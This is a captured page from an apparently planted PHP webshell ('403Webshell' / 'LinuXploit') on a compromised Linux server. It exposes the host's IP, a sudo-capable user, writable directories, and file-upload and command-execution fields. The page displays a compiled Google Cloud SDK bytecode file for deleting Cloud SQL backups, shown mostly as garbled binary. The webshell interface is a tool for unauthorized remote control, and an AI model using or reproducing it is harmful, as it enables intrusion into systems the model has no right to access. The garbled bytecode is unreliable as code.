403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/sql/backups/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/sql/backups/__pycache__/delete.cpython-311.pyc
�

��;��R�dZddlmZddlmZddlmZddlmZddlmZddlmZddlm	Z	dd	l
mZdd
lm
Z
ddlm	ZddlmZddlmZdd
lmZejejejjejjejj��Gd�dej������ZdS)z.Deletes a backup run for a Cloud SQL instance.�)�absolute_import)�division)�unicode_literals)�api_util)�
exceptions)�
operations)�validate)�base)�flags)�log)�
properties)�
console_ioc�.�eZdZdZed���Zd�ZdS)�Deletez(Delete a backup of a Cloud SQL instance.c���tj�|��tj|��tj|��|j�d��dS)z�Args is called by calliope to gather arguments for this command.

    Args:
      parser: An argparse parser that you can use to add arguments that go
          on the command line after this command. Positional arguments are
          allowed.
    N)r
�
ASYNC_FLAG�AddToParserr�AddBackupId�AddOptionalInstance�display_info�AddCacheUpdater)�parsers �!lib/surface/sql/backups/delete.py�ArgszDelete.Args(sY��	�O����'�'�'�	��f����	��f�%�%�%�
��'�'��-�-�-�-�-�c	��tjtj��}|j}|j}d}tjddd���tj|j	��}|rt|j
�|�|j	�����}|j
�d|j|j	�d��d�	��}n�|j�t%jd
���t)j|j��|j
�|jdt.jjjjid�
��}|j�|�|j|jt?|j	�������}|j
�d|j|j�	��}|j r9|j!�"|�#|j|j$�����Sd}	|rd}	tBj%�&||d�'|	����tQj)|j	|	��dS)a%Deletes a backup of a Cloud SQL instance.

    Args:
      args: argparse.Namespace, The arguments that this command was invoked
          with.

    Returns:
      A dict object representing the operations resource describing the delete
      operation if the api request was successful.
    Nz8The backup will be deleted. You cannot undo this action.T)�message�default�cancel_on_no)�namezsql.operations�/�)�	operation�projectz>[--instance | --i] is required for instance's backup deletion.r$z
sql.instances)�params�
collection)r$�instance�id)r$r#z
backup run�backupzDeleting {0})*r�	SqlClient�API_VERSION_DEFAULT�
sql_client�sql_messagesr�PromptContinue�command_validate�IsProjectLevelBackupRequestr(�backups�DeleteBackup�SqlBackupsDeleteBackupRequest�resource_parser�Creater �splitr'r�
ArgumentErrorr	�ValidateInstanceName�Parser
�VALUES�corer$�	GetOrFail�
backupRunsr�SqlBackupRunsDeleteRequest�int�async_r�Get�SqlOperationsGetRequestr#�OperationsV1Beta4�WaitForOperation�formatr�DeletedResource)
�self�args�clientr,r-�
operation_ref� is_project_level_backup_deletion�result�instance_refrs
          r�Runz
Delete.Run6sl���
�� <�
=�
=�F��"�J��&�L��M���J�������	�4�T�W�=�=�%�(���!�.�.�
�
4�
4�$�'�
4�
B�
B���f��,�3�3�
�f�k�4�7�=�=��;M�;M�a�;P�4���m�m�
��	��&�L�
�
�	
��#�D�M�2�2�2��+�1�1�
�-��Z�.�3�;�E�F�$�2���l�
�$�+�+�
�
1�
1�"�*�#�,��T�W���2�����f��,�3�3�
�f�k�<�;O�4���m��{��
�
"�
&�
&�
�
.�
.�#�+�}�7N�/������
�G�'���g�� �1�1��M�>�#8�#8��#A�#A���������)�)�)�)�)rN)�__name__�
__module__�__qualname__�__doc__�staticmethodrrN�rrrr!sI������
1�0��.�.��<�.�H*�H*�H*�H*�H*rrN)rR�
__future__rrr�googlecloudsdk.api_lib.sqlrrrr	�googlecloudsdk.callioper
�googlecloudsdk.command_lib.sqlrr/�googlecloudsdk.corerr
�googlecloudsdk.core.consoler�DefaultUniverseOnly�
ReleaseTracks�ReleaseTrack�GA�BETA�ALPHA�
DeleteCommandrrTrr�<module>rbs}��5�4�&�&�&�&�&�&�������'�'�'�'�'�'�/�/�/�/�/�/�1�1�1�1�1�1�1�1�1�1�1�1�/�/�/�/�/�/�(�(�(�(�(�(�0�0�0�0�0�0�G�G�G�G�G�G�#�#�#�#�#�#�*�*�*�*�*�*�2�2�2�2�2�2���������$�+�0�$�2C�2I���Y*�Y*�Y*�Y*�Y*�T�
�Y*�Y*�����Y*�Y*�Y*r

Youez - 2016 - github.com/yon3zu
LinuXploit